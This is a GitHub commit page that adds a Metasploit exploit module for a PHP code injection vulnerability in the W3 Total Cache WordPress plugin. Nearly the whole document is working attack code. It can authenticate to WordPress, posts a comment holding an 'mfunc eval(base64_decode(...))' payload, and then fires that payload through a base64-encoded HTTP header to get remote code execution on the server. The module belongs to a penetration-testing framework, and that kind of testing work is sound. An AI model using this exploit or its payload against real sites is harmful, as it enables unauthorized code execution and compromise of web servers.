Skip to content

Commit d2e29b8

Browse files
author
jvazquez-r7
committed
Add module for Wordpress Total Cache PHP Injection
1 parent 01d790e commit d2e29b8

File tree

1 file changed

+171
-0
lines changed

1 file changed

+171
-0
lines changed
Lines changed: 171 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
18+
'Description' => %q{
19+
This module exploits a PHP Code Injection vulnerability on the W3 Total Cache
20+
wordpress plugin up to and including 0.9.2.8 version. The exploit is due to the
21+
handle of some special macros, such as mfunc, which allow to inject arbitrary PHP
22+
code. A valid post id where publish the malicious comment must be provided. Also
23+
credentials if anonymous comments are allowed. Finally, comments shouldn't be
24+
moderated in order finish the exploitation successfully. This module has been tested
25+
against Wordpress 3.5 and W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
26+
},
27+
'Author' =>
28+
[
29+
'Unknown', # Vulnerability discovery
30+
'juan vazquez' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
[ 'OSVDB', '92652' ],
36+
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]
37+
],
38+
'Privileged' => false,
39+
'Platform' => ['php'],
40+
'Arch' => ARCH_PHP,
41+
'Payload' =>
42+
{
43+
'DisableNops' => true,
44+
},
45+
'Targets' => [ ['Wordpress 3.5', {}] ],
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Apr 17 2013'
48+
))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
53+
OptInt.new('POSTID', [ true, "The post ID where publish the comment" ]),
54+
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
55+
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
56+
], self.class)
57+
end
58+
59+
def peer
60+
return "#{rhost}:#{rport}"
61+
end
62+
63+
def require_auth?
64+
@user = datastore['USERNAME']
65+
@password = datastore['PASSWORD']
66+
67+
if @user and @password and not @user.empty? and not @password.empty?
68+
return true
69+
else
70+
return false
71+
end
72+
end
73+
74+
def get_session_cookie(header)
75+
header.split(";").each { |cookie|
76+
cookie.split(" ").each { |word|
77+
if word =~ /(.*logged_in.*)=(.*)/
78+
return $1, $2
79+
end
80+
}
81+
}
82+
return nil, nil
83+
end
84+
85+
def login
86+
res = send_request_cgi(
87+
{
88+
'uri' => normalize_uri(target_uri.path, "wp-login.php"),
89+
'method' => 'POST',
90+
'vars_post' => {
91+
'log' => @user,
92+
'pwd' => @password
93+
}
94+
})
95+
96+
if res and res.code == 302 and res.headers['Set-Cookie']
97+
return get_session_cookie(res.headers['Set-Cookie'])
98+
else
99+
return nil, nil
100+
end
101+
102+
end
103+
104+
def post_comment
105+
php_payload = "<!--mfunc eval(base64_decode($_SERVER[HTTP_CMD])); --><!--/mfunc-->"
106+
107+
vars_post = {
108+
'comment' => php_payload,
109+
'submit' => 'Post+Comment',
110+
'comment_post_ID' => "#{datastore['POSTID']}",
111+
'comment_parent' => "0"
112+
}
113+
vars_post.merge!({
114+
'author' => rand_text_alpha(8),
115+
'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
116+
'url' => rand_text_alpha(8),
117+
}) unless @auth
118+
119+
options = {
120+
'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
121+
'method' => 'POST'
122+
}
123+
options.merge!({'vars_post' => vars_post})
124+
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
125+
126+
res = send_request_cgi(options)
127+
if res and res.code == 302
128+
location = URI(res.headers["Location"])
129+
uri = location.path
130+
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
131+
return uri
132+
else
133+
return nil
134+
end
135+
end
136+
137+
def exploit
138+
139+
@auth = require_auth?
140+
141+
if @auth
142+
print_status("#{peer} - Trying to login...")
143+
@cookie_name, @cookie_value = login
144+
if @cookie_name.nil? or @cookie_value.nil?
145+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
146+
end
147+
else
148+
print_status("#{peer} - Trying unauthenticated exploitation...")
149+
end
150+
151+
print_status("#{peer} - Injecting the PHP Code throw a comment...")
152+
post_uri = post_comment
153+
if post_uri.nil?
154+
fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
155+
end
156+
157+
print_status("#{peer} - Executing the payload...")
158+
options = {
159+
'method' => 'GET',
160+
'uri' => post_uri,
161+
'headers' => {
162+
'Cmd' => Rex::Text.encode_base64(payload.encoded)
163+
}
164+
}
165+
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
166+
res = send_request_cgi(options)
167+
if res and res.code == 301
168+
fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
169+
end
170+
end
171+
end

0 commit comments

Comments
 (0)